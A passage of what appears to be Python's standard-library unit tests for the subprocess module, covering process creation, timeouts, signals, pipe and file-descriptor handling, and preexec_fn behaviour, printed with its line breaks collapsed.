subprocess.Popen(['nonexisting_i_hope'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) # ignore errors that indicate the command was not found if c.exception.errno not in (errno.ENOENT, errno.EACCES): raise c.exception @unittest.skipIf(threading is None, "threading required") def test_double_close_on_error(self): # Issue #18851 fds = [] def open_fds(): for i in range(20): fds.extend(os.pipe()) time.sleep(0.001) t = threading.Thread(target=open_fds) t.start() try: with self.assertRaises(EnvironmentError): subprocess.Popen(['nonexisting_i_hope'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) finally: t.join() exc = None for fd in fds: # If a double close occurred, some of those fds will # already have been closed by mistake, and os.close() # here will raise. try: os.close(fd) except OSError as e: exc = e if exc is not None: raise exc @unittest.skipIf(threading is None, "threading required") def test_threadsafe_wait(self): """Issue21291: Popen.wait() needs to be threadsafe for returncode.""" proc = subprocess.Popen([sys.executable, '-c', 'import time; time.sleep(12)']) self.assertEqual(proc.returncode, None) results = [] def kill_proc_timer_thread(): results.append(('thread-start-poll-result', proc.poll())) # terminate it from the thread and wait for the result. proc.kill() proc.wait() results.append(('thread-after-kill-and-wait', proc.returncode)) # this wait should be a no-op given the above. proc.wait() results.append(('thread-after-second-wait', proc.returncode)) # This is a timing sensitive test, the failure mode is # triggered when both the main thread and this thread are in # the wait() call at once. The delay here is to allow the # main thread to most likely be blocked in its wait() call. t = threading.Timer(0.2, kill_proc_timer_thread) t.start() if mswindows: expected_errorcode = 1 else: # Should be -9 because of the proc.kill() from the thread. expected_errorcode = -9 # Wait for the process to finish; the thread should kill it # long before it finishes on its own. Supplying a timeout # triggers a different code path for better coverage. proc.wait(timeout=20) self.assertEqual(proc.returncode, expected_errorcode, msg="unexpected result in wait from main thread") # This should be a no-op with no change in returncode. proc.wait() self.assertEqual(proc.returncode, expected_errorcode, msg="unexpected result in second main wait.") t.join() # Ensure that all of the thread results are as expected. # When a race condition occurs in wait(), the returncode could # be set by the wrong thread that doesn't actually have it # leading to an incorrect value. self.assertEqual([('thread-start-poll-result', None), ('thread-after-kill-and-wait', expected_errorcode), ('thread-after-second-wait', expected_errorcode)], results) def test_issue8780(self): # Ensure that stdout is inherited from the parent # if stdout=PIPE is not used code = ';'.join(( 'import subprocess, sys', 'retcode = subprocess.call(' "[sys.executable, '-c', 'print(\"Hello World!\")'])", 'assert retcode == 0')) output = subprocess.check_output([sys.executable, '-c', code]) self.assertTrue(output.startswith(b'Hello World!'), ascii(output)) def test_handles_closed_on_exception(self): # If CreateProcess exits with an error, ensure the # duplicate output handles are released ifhandle, ifname = tempfile.mkstemp() ofhandle, ofname = tempfile.mkstemp() efhandle, efname = tempfile.mkstemp() try: subprocess.Popen (["*"], stdin=ifhandle, stdout=ofhandle, stderr=efhandle) except OSError: os.close(ifhandle) os.remove(ifname) os.close(ofhandle) os.remove(ofname) os.close(efhandle) os.remove(efname) self.assertFalse(os.path.exists(ifname)) self.assertFalse(os.path.exists(ofname)) self.assertFalse(os.path.exists(efname)) def test_communicate_epipe(self): # Issue 10963: communicate() should hide EPIPE p = subprocess.Popen([sys.executable, "-c", 'pass'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.addCleanup(p.stdout.close) self.addCleanup(p.stderr.close) self.addCleanup(p.stdin.close) p.communicate(b"x" * 2**20) def test_communicate_epipe_only_stdin(self): # Issue 10963: communicate() should hide EPIPE p = subprocess.Popen([sys.executable, "-c", 'pass'], stdin=subprocess.PIPE) self.addCleanup(p.stdin.close) p.wait() p.communicate(b"x" * 2**20) @unittest.skipUnless(hasattr(signal, 'SIGUSR1'), "Requires signal.SIGUSR1") @unittest.skipUnless(hasattr(os, 'kill'), "Requires os.kill") @unittest.skipUnless(hasattr(os, 'getppid'), "Requires os.getppid") def test_communicate_eintr(self): # Issue #12493: communicate() should handle EINTR def handler(signum, frame): pass old_handler = signal.signal(signal.SIGUSR1, handler) self.addCleanup(signal.signal, signal.SIGUSR1, old_handler) args = [sys.executable, "-c", 'import os, signal;' 'os.kill(os.getppid(), signal.SIGUSR1)'] for stream in ('stdout', 'stderr'): kw = {stream: subprocess.PIPE} with subprocess.Popen(args, **kw) as process: # communicate() will be interrupted by SIGUSR1 process.communicate() # This test is Linux-ish specific for simplicity to at least have # some coverage. It is not a platform specific bug. @unittest.skipUnless(os.path.isdir('/proc/%d/fd' % os.getpid()), "Linux specific") def test_failed_child_execute_fd_leak(self): """Test for the fork() failure fd leak reported in issue16327.""" fd_directory = '/proc/%d/fd' % os.getpid() fds_before_popen = os.listdir(fd_directory) with self.assertRaises(PopenTestException): PopenExecuteChildRaises( [sys.executable, '-c', 'pass'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) # NOTE: This test doesn't verify that the real _execute_child # does not close the file descriptors itself on the way out # during an exception. Code inspection has confirmed that. fds_after_exception = os.listdir(fd_directory) self.assertEqual(fds_before_popen, fds_after_exception) class RunFuncTestCase(BaseTestCase): def run_python(self, code, **kwargs): """Run Python code in a subprocess using subprocess.run""" argv = [sys.executable, "-c", code] return subprocess.run(argv, **kwargs) def test_returncode(self): # call() function with sequence argument cp = self.run_python("import sys; sys.exit(47)") self.assertEqual(cp.returncode, 47) with self.assertRaises(subprocess.CalledProcessError): cp.check_returncode() def test_check(self): with self.assertRaises(subprocess.CalledProcessError) as c: self.run_python("import sys; sys.exit(47)", check=True) self.assertEqual(c.exception.returncode, 47) def test_check_zero(self): # check_returncode shouldn't raise when returncode is zero cp = self.run_python("import sys; sys.exit(0)", check=True) self.assertEqual(cp.returncode, 0) def test_timeout(self): # run() function with timeout argument; we want to test that the child # process gets killed when the timeout expires. If the child isn't # killed, this call will deadlock since subprocess.run waits for the # child. with self.assertRaises(subprocess.TimeoutExpired): self.run_python("while True: pass", timeout=0.0001) def test_capture_stdout(self): # capture stdout with zero return code cp = self.run_python("print('BDFL')", stdout=subprocess.PIPE) self.assertIn(b'BDFL', cp.stdout) def test_capture_stderr(self): cp = self.run_python("import sys; sys.stderr.write('BDFL')", stderr=subprocess.PIPE) self.assertIn(b'BDFL', cp.stderr) def test_check_output_stdin_arg(self): # run() can be called with stdin set to a file tf = tempfile.TemporaryFile() self.addCleanup(tf.close) tf.write(b'pear') tf.seek(0) cp = self.run_python( "import sys; sys.stdout.write(sys.stdin.read().upper())", stdin=tf, stdout=subprocess.PIPE) self.assertIn(b'PEAR', cp.stdout) def test_check_output_input_arg(self): # check_output() can be called with input set to a string cp = self.run_python( "import sys; sys.stdout.write(sys.stdin.read().upper())", input=b'pear', stdout=subprocess.PIPE) self.assertIn(b'PEAR', cp.stdout) def test_check_output_stdin_with_input_arg(self): # run() refuses to accept 'stdin' with 'input' tf = tempfile.TemporaryFile() self.addCleanup(tf.close) tf.write(b'pear') tf.seek(0) with self.assertRaises(ValueError, msg="Expected ValueError when stdin and input args supplied.") as c: output = self.run_python("print('will not be run')", stdin=tf, input=b'hare') self.assertIn('stdin', c.exception.args[0]) self.assertIn('input', c.exception.args[0]) def test_check_output_timeout(self): with self.assertRaises(subprocess.TimeoutExpired) as c: cp = self.run_python(( "import sys, time\n" "sys.stdout.write('BDFL')\n" "sys.stdout.flush()\n" "time.sleep(3600)"), # Some heavily loaded buildbots (sparc Debian 3.x) require # this much time to start and print. timeout=3, stdout=subprocess.PIPE) self.assertEqual(c.exception.output, b'BDFL') # output is aliased to stdout self.assertEqual(c.exception.stdout, b'BDFL') def test_run_kwargs(self): newenv = os.environ.copy() newenv["FRUIT"] = "banana" cp = self.run_python(('import sys, os;' 'sys.exit(33 if os.getenv("FRUIT")=="banana" else 31)'), env=newenv) self.assertEqual(cp.returncode, 33) @unittest.skipIf(mswindows, "POSIX specific tests") class POSIXProcessTestCase(BaseTestCase): def setUp(self): super().setUp() self._nonexistent_dir = "/_this/pa.th/does/not/exist" def _get_chdir_exception(self): try: os.chdir(self._nonexistent_dir) except OSError as e: # This avoids hard coding the errno value or the OS perror() # string and instead capture the exception that we want to see # below for comparison. desired_exception = e desired_exception.strerror += ': ' + repr(self._nonexistent_dir) else: self.fail("chdir to nonexistent directory %s succeeded." % self._nonexistent_dir) return desired_exception def test_exception_cwd(self): """Test error in the child raised in the parent for a bad cwd.""" desired_exception = self._get_chdir_exception() try: p = subprocess.Popen([sys.executable, "-c", ""], cwd=self._nonexistent_dir) except OSError as e: # Test that the child process chdir failure actually makes # it up to the parent process as the correct exception. self.assertEqual(desired_exception.errno, e.errno) self.assertEqual(desired_exception.strerror, e.strerror) else: self.fail("Expected OSError: %s" % desired_exception) def test_exception_bad_executable(self): """Test error in the child raised in the parent for a bad executable.""" desired_exception = self._get_chdir_exception() try: p = subprocess.Popen([sys.executable, "-c", ""], executable=self._nonexistent_dir) except OSError as e: # Test that the child process exec failure actually makes # it up to the parent process as the correct exception. self.assertEqual(desired_exception.errno, e.errno) self.assertEqual(desired_exception.strerror, e.strerror) else: self.fail("Expected OSError: %s" % desired_exception) def test_exception_bad_args_0(self): """Test error in the child raised in the parent for a bad args[0].""" desired_exception = self._get_chdir_exception() try: p = subprocess.Popen([self._nonexistent_dir, "-c", ""]) except OSError as e: # Test that the child process exec failure actually makes # it up to the parent process as the correct exception. self.assertEqual(desired_exception.errno, e.errno) self.assertEqual(desired_exception.strerror, e.strerror) else: self.fail("Expected OSError: %s" % desired_exception) def test_restore_signals(self): # Code coverage for both values of restore_signals to make sure it # at least does not blow up. # A test for behavior would be complex. Contributions welcome. subprocess.call([sys.executable, "-c", ""], restore_signals=True) subprocess.call([sys.executable, "-c", ""], restore_signals=False) def test_start_new_session(self): # For code coverage of calling setsid(). We don't care if we get an # EPERM error from it depending on the test execution environment, that # still indicates that it was called. try: output = subprocess.check_output( [sys.executable, "-c", "import os; print(os.getpgid(os.getpid()))"], start_new_session=True) except OSError as e: if e.errno != errno.EPERM: raise else: parent_pgid = os.getpgid(os.getpid()) child_pgid = int(output) self.assertNotEqual(parent_pgid, child_pgid) def test_run_abort(self): # returncode handles signal termination with support.SuppressCrashReport(): p = subprocess.Popen([sys.executable, "-c", 'import os; os.abort()']) p.wait() self.assertEqual(-p.returncode, signal.SIGABRT) def test_CalledProcessError_str_signal(self): err = subprocess.CalledProcessError(-int(signal.SIGABRT), "fake cmd") error_string = str(err) # We're relying on the repr() of the signal.Signals intenum to provide # the word signal, the signal name and the numeric value. self.assertIn("signal", error_string.lower()) # We're not being specific about the signal name as some signals have # multiple names and which name is revealed can vary. self.assertIn("SIG", error_string) self.assertIn(str(signal.SIGABRT), error_string) def test_CalledProcessError_str_unknown_signal(self): err = subprocess.CalledProcessError(-9876543, "fake cmd") error_string = str(err) self.assertIn("unknown signal 9876543.", error_string) def test_CalledProcessError_str_non_zero(self): err = subprocess.CalledProcessError(2, "fake cmd") error_string = str(err) self.assertIn("non-zero exit status 2.", error_string) def test_preexec(self): # DISCLAIMER: Setting environment variables is *not* a good use # of a preexec_fn. This is merely a test. p = subprocess.Popen([sys.executable, "-c", 'import sys,os;' 'sys.stdout.write(os.getenv("FRUIT"))'], stdout=subprocess.PIPE, preexec_fn=lambda: os.putenv("FRUIT", "apple")) with p: self.assertEqual(p.stdout.read(), b"apple") def test_preexec_exception(self): def raise_it(): raise ValueError("What if two swallows carried a coconut?") try: p = subprocess.Popen([sys.executable, "-c", ""], preexec_fn=raise_it) except subprocess.SubprocessError as e: self.assertTrue( subprocess._posixsubprocess, "Expected a ValueError from the preexec_fn") except ValueError as e: self.assertIn("coconut", e.args[0]) else: self.fail("Exception raised by preexec_fn did not make it " "to the parent process.") class _TestExecuteChildPopen(subprocess.Popen): """Used to test behavior at the end of _execute_child.""" def __init__(self, testcase, *args, **kwargs): self._testcase = testcase subprocess.Popen.__init__(self, *args, **kwargs) def _execute_child(self, *args, **kwargs): try: subprocess.Popen._execute_child(self, *args, **kwargs) finally: # Open a bunch of file descriptors and verify that # none of them are the same as the ones the Popen # instance is using for stdin/stdout/stderr. devzero_fds = [os.open("/dev/zero", os.O_RDONLY) for _ in range(8)] try: for fd in devzero_fds: self._testcase.assertNotIn( fd, (self.stdin.fileno(), self.stdout.fileno(), self.stderr.fileno()), msg="At least one fd was closed early.") finally: for fd in devzero_fds: os.close(fd) @unittest.skipIf(not os.path.exists("/dev/zero"), "/dev/zero required.") def test_preexec_errpipe_does_not_double_close_pipes(self): """Issue16140: Don't double close pipes on preexec error.""" def raise_it(): raise subprocess.SubprocessError( "force the _execute_child() errpipe_data path.") with self.assertRaises(subprocess.SubprocessError): self._TestExecuteChildPopen( self, [sys.executable, "-c", "pass"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, preexec_fn=raise_it) def test_preexec_gc_module_failure(self): # This tests the code that disables garbage collection if the child # process will execute any Python. def raise_runtime_error(): raise RuntimeError("this shouldn't escape") enabled = gc.isenabled() orig_gc_disable = gc.disable orig_gc_isenabled = gc.isenabled try: gc.disable() self.assertFalse(gc.isenabled()) subprocess.call([sys.executable, '-c', ''], preexec_fn=lambda: None) self.assertFalse(gc.isenabled(), "Popen enabled gc when it shouldn't.") gc.enable() self.assertTrue(gc.isenabled()) subprocess.call([sys.executable, '-c', ''], preexec_fn=lambda: None) self.assertTrue(gc.isenabled(), "Popen left gc disabled.") gc.disable = raise_runtime_error self.assertRaises(RuntimeError, subprocess.Popen, [sys.executable, '-c', ''], preexec_fn=lambda: None) del gc.isenabled # force an AttributeError self.assertRaises(AttributeError, subprocess.Popen, [sys.executable, '-c', ''], preexec_fn=lambda: None) finally: gc.disable = orig_gc_disable gc.isenabled = orig_gc_isenabled if not enabled: gc.disable() @unittest.skipIf( sys.platform == 'darwin', 'setrlimit() seems to fail on OS X') def test_preexec_fork_failure(self): # The internal code did not preserve the previous exception when # re-enabling garbage collection try: from resource import getrlimit, setrlimit, RLIMIT_NPROC except ImportError as err: self.skipTest(err) # RLIMIT_NPROC is specific to Linux and BSD limits = getrlimit(RLIMIT_NPROC) [_, hard] = limits setrlimit(RLIMIT_NPROC, (0, hard)) self.addCleanup(setrlimit, RLIMIT_NPROC, limits) try: subprocess.call([sys.executable, '-c', ''], preexec_fn=lambda: None) except BlockingIOError: # Forking should raise EAGAIN, translated to BlockingIOError pass else: self.skipTest('RLIMIT_NPROC had no effect; probably superuser') def test_args_string(self): # args is a string fd, fname = tempfile.mkstemp() # reopen in text mode with open(fd, "w", errors="surrogateescape") as fobj: fobj.write("#!%s\n" % support.unix_shell) fobj.write("exec '%s' -c 'import sys; sys.exit(47)'\n" % sys.executable) os.chmod(fname, 0o700) p = subprocess.Popen(fname) p.wait() os.remove(fname) self.assertEqual(p.returncode, 47) def test_invalid_args(self): # invalid arguments should raise ValueError self.assertRaises(ValueError, subprocess.call, [sys.executable, "-c", "import sys; sys.exit(47)"], startupinfo=47) self.assertRaises(ValueError, subprocess.call, [sys.executable, "-c", "import sys; sys.exit(47)"], creationflags=47) def test_shell_sequence(self): # Run command through the shell (sequence) newenv = os.environ.copy() newenv["FRUIT"] = "apple" p = subprocess.Popen(["echo $FRUIT"], shell=1, stdout=subprocess.PIPE, env=newenv) with p: self.assertEqual(p.stdout.read().strip(b" \t\r\n\f"), b"apple") def test_shell_string(self): # Run command through the shell (string) newenv = os.environ.copy() newenv["FRUIT"] = "apple" p = subprocess.Popen("echo $FRUIT", shell=1, stdout=subprocess.PIPE, env=newenv) with p: self.assertEqual(p.stdout.read().strip(b" \t\r\n\f"), b"apple") def test_call_string(self): # call() function with string argument on UNIX fd, fname = tempfile.mkstemp() # reopen in text mode with open(fd, "w", errors="surrogateescape") as fobj: fobj.write("#!%s\n" % support.unix_shell) fobj.write("exec '%s' -c 'import sys; sys.exit(47)'\n" % sys.executable) os.chmod(fname, 0o700) rc = subprocess.call(fname) os.remove(fname) self.assertEqual(rc, 47) def test_specific_shell(self): # Issue #9265: Incorrect name passed as arg[0]. shells = [] for prefix in ['/bin', '/usr/bin/', '/usr/local/bin']: for name in ['bash', 'ksh']: sh = os.path.join(prefix, name) if os.path.isfile(sh): shells.append(sh) if not shells: # Will probably work for any shell but csh. self.skipTest("bash or ksh required for this test") sh = '/bin/sh' if os.path.isfile(sh) and not os.path.islink(sh): # Test will fail if /bin/sh is a symlink to csh. shells.append(sh) for sh in shells: p = subprocess.Popen("echo $0", executable=sh, shell=True, stdout=subprocess.PIPE) with p: self.assertEqual(p.stdout.read().strip(), bytes(sh, 'ascii')) def _kill_process(self, method, *args): # Do not inherit file handles from the parent. # It should fix failures on some platforms. # Also set the SIGINT handler to the default to make sure it's not # being ignored (some tests rely on that.) old_handler = signal.signal(signal.SIGINT, signal.default_int_handler) try: p = subprocess.Popen([sys.executable, "-c", """if 1: import sys, time sys.stdout.write('x\\n') sys.stdout.flush() time.sleep(30) """], close_fds=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) finally: signal.signal(signal.SIGINT, old_handler) # Wait for the interpreter to be completely initialized before # sending any signal. p.stdout.read(1) getattr(p, method)(*args) return p @unittest.skipIf(sys.platform.startswith(('netbsd', 'openbsd')), "Due to known OS bug (issue #16762)") def _kill_dead_process(self, method, *args): # Do not inherit file handles from the parent. # It should fix failures on some platforms. p = subprocess.Popen([sys.executable, "-c", """if 1: import sys, time sys.stdout.write('x\\n') sys.stdout.flush() """], close_fds=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) # Wait for the interpreter to be completely initialized before # sending any signal. p.stdout.read(1) # The process should end after this time.sleep(1) # This shouldn't raise even though the child is now dead getattr(p, method)(*args) p.communicate() def test_send_signal(self): p = self._kill_process('send_signal', signal.SIGINT) _, stderr = p.communicate() self.assertIn(b'KeyboardInterrupt', stderr) self.assertNotEqual(p.wait(), 0) def test_kill(self): p = self._kill_process('kill') _, stderr = p.communicate() self.assertStderrEqual(stderr, b'') self.assertEqual(p.wait(), -signal.SIGKILL) def test_terminate(self): p = self._kill_process('terminate') _, stderr = p.communicate() self.assertStderrEqual(stderr, b'') self.assertEqual(p.wait(), -signal.SIGTERM) def test_send_signal_dead(self): # Sending a signal to a dead process self._kill_dead_process('send_signal', signal.SIGINT) def test_kill_dead(self): # Killing a dead process self._kill_dead_process('kill') def test_terminate_dead(self): # Terminating a dead process self._kill_dead_process('terminate') def _save_fds(self, save_fds): fds = [] for fd in save_fds: inheritable = os.get_inheritable(fd) saved = os.dup(fd) fds.append((fd, saved, inheritable)) return fds def _restore_fds(self, fds): for fd, saved, inheritable in fds: os.dup2(saved, fd, inheritable=inheritable) os.close(saved) def check_close_std_fds(self, fds): # Issue #9905: test that subprocess pipes still work properly with # some standard fds closed stdin = 0 saved_fds = self._save_fds(fds) for fd, saved, inheritable in saved_fds: if fd == 0: stdin = saved break try: for fd in fds: os.close(fd) out, err = subprocess.Popen([sys.executable, "-c", 'import sys;' 'sys.stdout.write("apple");' 'sys.stdout.flush();' 'sys.stderr.write("orange")'], stdin=stdin, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate() err = support.strip_python_stderr(err) self.assertEqual((out, err), (b'apple', b'orange')) finally: self._restore_fds(saved_fds) def test_close_fd_0(self): self.check_close_std_fds([0]) def test_close_fd_1(self): self.check_close_std_fds([1]) def test_close_fd_2(self): self.check_close_std_fds([2]) def test_close_fds_0_1(self): self.check_close_std_fds([0, 1]) def test_close_fds_0_2(self): self.check_close_std_fds([0, 2]) def test_close_fds_1_2(self): self.check_close_std_fds([1, 2]) def test_close_fds_0_1_2(self): # Issue #10806: test that subprocess pipes still work properly with # all standard fds closed. self.check_close_std_fds([0, 1, 2]) def test_small_errpipe_write_fd(self): """Issue #15798: Popen should work when stdio fds are available.""" new_stdin = os.dup(0) new_stdout = os.dup(1) try: os.close(0) os.close(1) # Side test: if errpipe_write fails to have its CLOEXEC # flag set this should cause the parent to think the exec # failed. Extremely unlikely: everyone supports CLOEXEC. subprocess.Popen([ sys.executable, "-c", "print('AssertionError:0:CLOEXEC failure.')"]).wait() finally: # Restore original stdin and stdout os.dup2(new_stdin, 0) os.dup2(new_stdout, 1) os.close(new_stdin) os.close(new_stdout) def test_remapping_std_fds(self): # open up some temporary files temps = [tempfile.mkstemp() for i in range(3)] try: temp_fds = [fd for fd, fname in temps] # unlink the files -- we won't need to reopen them for fd, fname in temps: os.unlink(fname) # write some data to what will become stdin, and rewind os.write(temp_fds[1], b"STDIN") os.lseek(temp_fds[1], 0, 0) # move the standard file descriptors out of the way saved_fds = self._save_fds(range(3)) try: # duplicate the file objects over the standard fd's for fd, temp_fd in enumerate(temp_fds): os.dup2(temp_fd, fd) # now use those files in the "wrong" order, so that subprocess # has to rearrange them in the child p = subprocess.Popen([sys.executable, "-c", 'import sys; got = sys.stdin.read();' 'sys.stdout.write("got %s"%got); sys.stderr.write("err")'], stdin=temp_fds[1], stdout=temp_fds[2], stderr=temp_fds[0]) p.wait() finally: self._restore_fds(saved_fds) for fd in temp_fds: os.lseek(fd, 0, 0) out = os.read(temp_fds[2], 1024) err = support.strip_python_stderr(os.read(temp_fds[0], 1024)) self.assertEqual(out, b"got STDIN") self.assertEqual(err, b"err") finally: for fd in temp_fds: os.close(fd) def check_swap_fds(self, stdin_no, stdout_no, stderr_no): # open up some temporary files temps = [tempfile.mkstemp() for i in range(3)] temp_fds = [fd for fd, fname in temps] try: # unlink the files -- we won't need to reopen them for fd, fname in temps: os.unlink(fname) # save a copy of the standard file descriptors saved_fds = self._save_fds(range(3)) try: # duplicate the temp files over the standard fd's 0, 1, 2 for fd, temp_fd in enumerate(temp_fds): os.dup2(temp_fd, fd) # write some data to what will become stdin, and rewind os.write(stdin_no, b"STDIN") os.lseek(stdin_no, 0, 0) # now use those files in the given order, so that subprocess # has to rearrange them in the child p = subprocess.Popen([sys.executable, "-c", 'import sys; got = sys.stdin.read();' 'sys.stdout.write("got %s"%got); sys.stderr.write("err")'], stdin=stdin_no, stdout=stdout_no, stderr=stderr_no) p.wait() for fd in temp_fds: os.lseek(fd, 0, 0) out = os.read(stdout_no, 1024) err = support.strip_python_stderr(os.read(stderr_no, 1024)) finally: self._restore_fds(saved_fds) self.assertEqual(out, b"got STDIN") self.assertEqual(err, b"err") finally: for fd in temp_fds: os.close(fd) # When duping fds, if there arises a situation where one of the fds is # either 0, 1 or 2, it is possible that it is overwritten (#12607). # This tests all combinations of this. def test_swap_fds(self): self.check_swap_fds(0, 1, 2) self.check_swap_fds(0, 2, 1) self.check_swap_fds(1, 0, 2) self.check_swap_fds(1, 2, 0) self.check_swap_fds(2, 0, 1) self.check_swap_fds(2, 1, 0) def test_surrogates_error_message(self): def prepare(): raise ValueError("surrogate:\uDCff") try: subprocess.call( [sys.executable, "-c", "pass"], preexec_fn=prepare) except ValueError as err: # Pure Python implementations keeps the message self.assertIsNone(subprocess._posixsubprocess) self.assertEqual(str(err), "surrogate:\uDCff") except subprocess.SubprocessError as err: # _posixsubprocess uses a default message self.assertIsNotNone(subprocess._posixsubprocess) self.assertEqual(str(err), "Exception occurred in preexec_fn.") else: self.fail("Expected ValueError or subprocess.SubprocessError") def test_undecodable_env(self): for key, value in (('test', 'abc\uDCFF'), ('test\uDCFF', '42')): encoded_value = value.encode("ascii", "surrogateescape") # test str with surrogates script = "import os; print(ascii(os.getenv(%s)))" % repr(key) env = os.environ.copy() env[key] = value # Use C locale to get ASCII for the locale encoding to force # surrogate-escaping of \xFF in the child process; otherwise it can # be decoded as-is if the default locale is latin-1. env['LC_ALL'] = 'C' if sys.platform.startswith("aix"): # On AIX, the C locale uses the Latin1 encoding decoded_value = encoded_value.decode("latin1", "surrogateescape") else: # On other UNIXes, the C locale uses the ASCII encoding decoded_value = value stdout = subprocess.check_output( [sys.executable, "-c", script], env=env) stdout = stdout.rstrip(b'\n\r') self.assertEqual(stdout.decode('ascii'), ascii(decoded_value)) # test bytes key = key.encode("ascii", "surrogateescape") script = "import os; print(ascii(os.getenvb(%s)))" % repr(key) env = os.environ.copy() env[key] = encoded_value stdout = subprocess.check_output( [sys.executable, "-c", script], env=env) stdout = stdout.rstrip(b'\n\r') self.assertEqual(stdout.decode('ascii'), ascii(encoded_value)) def test_bytes_program(self): abs_program = os.fsencode(sys.executable) path, program = os.path.split(sys.executable) program = os.fsencode(program) # absolute bytes path exitcode = subprocess.call([abs_program, "-c", "pass"]) self.assertEqual(exitcode, 0) # absolute bytes path as a string cmd = b"'" + abs_program + b"' -c pass" exitcode = subprocess.call(cmd, shell=True) self.assertEqual(exitcode, 0) # bytes program, unicode PATH env = os.environ.copy() env["PATH"] = path exitcode = subprocess.call([program, "-c", "pass"], env=env) self.assertEqual(exitcode, 0) # bytes program, bytes PATH envb = os.environb.copy() envb[b"PATH"] = os.fsencode(path) exitcode = subprocess.call([program, "-c", "pass"], env=envb) self.assertEqual(exitcode, 0) def test_pipe_cloexec(self): sleeper = support.findfile("input_reader.py", subdir="subprocessdata") fd_status = support.findfile("fd_status.py", subdir="subprocessdata") p1 = subprocess.Popen([sys.executable, sleeper], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=False) self.addCleanup(p1.communicate, b'') p2 = subprocess.Popen([sys.executable, fd_status], stdout=subprocess.PIPE, close_fds=False) output, error = p2.communicate() result_fds = set(map(int, output.split(b','))) unwanted_fds = set([p1.stdin.fileno(), p1.stdout.fileno(), p1.stderr.fileno()]) self.assertFalse(result_fds & unwanted_fds, "Expected no fds from %r to be open in child, " "found %r" % (unwanted_fds, result_fds & unwanted_fds)) def test_pipe_cloexec_real_tools(self): qcat = support.findfile("qcat.py", subdir="subprocessdata") qgrep = support.findfile("qgrep.py", subdir="subprocessdata") subdata = b'zxcvbn' data = subdata * 4 + b'\n' p1 = subprocess.Popen([sys.executable, qcat], stdin=subprocess.PIPE, stdout=subprocess.PIPE, close_fds=False) p2 = subprocess.Popen([sys.executable, qgrep, subdata], stdin=p1.stdout, stdout=subprocess.PIPE, close_fds=False) self.addCleanup(p1.wait) self.addCleanup(p2.wait) def kill_p1(): try: p1.terminate() except ProcessLookupError: pass def kill_p2(): try: p2.terminate() except ProcessLookupError: pass self.addCleanup(kill_p1) self.addCleanup(kill_p2) p1.stdin.write(data) p1.stdin.close() readfiles, ignored1, ignored2 = select.select([p2.stdout], [], [], 10) self.assertTrue(readfiles, "The child hung") self.assertEqual(p2.stdout.read(), data) p1.stdout.close() p2.stdout.close() def test_close_fds(self): fd_status = support.findfile("fd_status.py", subdir="subprocessdata") fds = os.pipe() self.addCleanup(os.close, fds[0]) self.addCleanup(os.close, fds[1]) open_fds = set(fds) # add a bunch more fds for _ in range(9): fd = os.open(os.devnull, os.O_RDONLY) self.addCleanup(os.close, fd) open_fds.add(fd) for fd in open_fds: os.set_inheritable(fd, True) p = subprocess.Popen([sys.executable, fd_status], stdout=subprocess.PIPE, close_fds=False) output, ignored = p.communicate() remaining_fds = set(map(int, output.split(b','))) self.assertEqual(remaining_fds & open_fds, open_fds, "Some fds were closed") p = subprocess.Popen([sys.executable, fd_status], stdout=subprocess.PIPE, close_fds=True) output, ignored = p.communicate() remaining_fds = set(map(int, output.split(b','))) self.assertFalse(remaining_fds & open_fds, "Some fds were left open") self.assertIn(1, remaining_fds, "Subprocess failed") # Keep some of the fd's we opened open in the subprocess. # This tests _posixsubprocess.c's proper handling of fds_to_keep. fds_to_keep = set(open_fds.pop() for _ in range(8)) p = subprocess.Popen([sys.executable, fd_status], stdout=subprocess.PIPE, close_fds=True, pass_fds=()) output, ignored = p.communicate() remaining_fds = set(map(int, output.split(b','))) self.assertFalse(remaining_fds & fds_to_keep & open_fds, "Some fds not in pass_fds were left open") self.assertIn(1, remaining_fds, "Subprocess failed") @unittest.skipIf(sys.platform.startswith("freebsd") and os.stat("/dev").st_dev == os.stat("/dev/fd").st_dev, "Requires fdescfs mounted on /dev/fd on FreeBSD.") def test_close_fds_when_max_fd_is_lowered(self): """Confirm that issue21618 is fixed (may fail under valgrind).""" fd_status = support.findfile("fd_status.py", subdir="subprocessdata") # This launches the meat of the test in a child process to # avoid messing with the larger unittest processes maximum # number of file descriptors. # This process launches: # +--> Process that lowers its RLIMIT_NOFILE aftr setting up # a bunch of high open fds above the new lower rlimit. # Those are reported via stdout before launching a new # process with close_fds=False to run the actual test: # +--> The TEST: This one launches a fd_status.py # subprocess with close_fds=True so we can find out if # any of the fds above the lowered rlimit are still open. p = subprocess.Popen([sys.executable, '-c', textwrap.dedent( ''' import os, resource, subprocess, sys, textwrap open_fds = set() # Add a bunch more fds to pass down. for _ in range(40): fd = os.open(os.devnull, os.O_RDONLY) open_fds.add(fd) # Leave a two pairs of low ones available for use by the # internal child error pipe and the stdout pipe. # We also leave 10 more open as some Python buildbots run into # "too many open files" errors during the test if we do not. for fd in sorted(open_fds)[:14]: os.close(fd) open_fds.remove(fd) for fd in open_fds: #self.addCleanup(os.close, fd) os.set_inheritable(fd, True) max_fd_open = max(open_fds) # Communicate the open_fds to the parent unittest.TestCase process. print(','.join(map(str, sorted(open_fds)))) sys.stdout.flush() rlim_cur, rlim_max = resource.getrlimit(resource.RLIMIT_NOFILE) try: # 29 is lower than the highest fds we are leaving open. resource.setrlimit(resource.RLIMIT_NOFILE, (29, rlim_max)) # Launch a new Python interpreter with our low fd rlim_cur that # inherits open fds above that limit. It then uses subprocess # with close_fds=True to get a report of open fds in the child. # An explicit list of fds to check is passed to fd_status.py as # letting fd_status rely on its default logic would miss the # fds above rlim_cur as it normally only checks up to that limit. subprocess.Popen( [sys.executable, '-c', textwrap.dedent(""" import subprocess, sys subprocess.Popen([sys.executable, %r] + [str(x) for x in range({max_fd})], close_fds=True).wait() """.format(max_fd=max_fd_open+1))], close_fds=False).wait() finally: resource.setrlimit(resource.RLIMIT_NOFILE, (rlim_cur, rlim_max)) ''' % 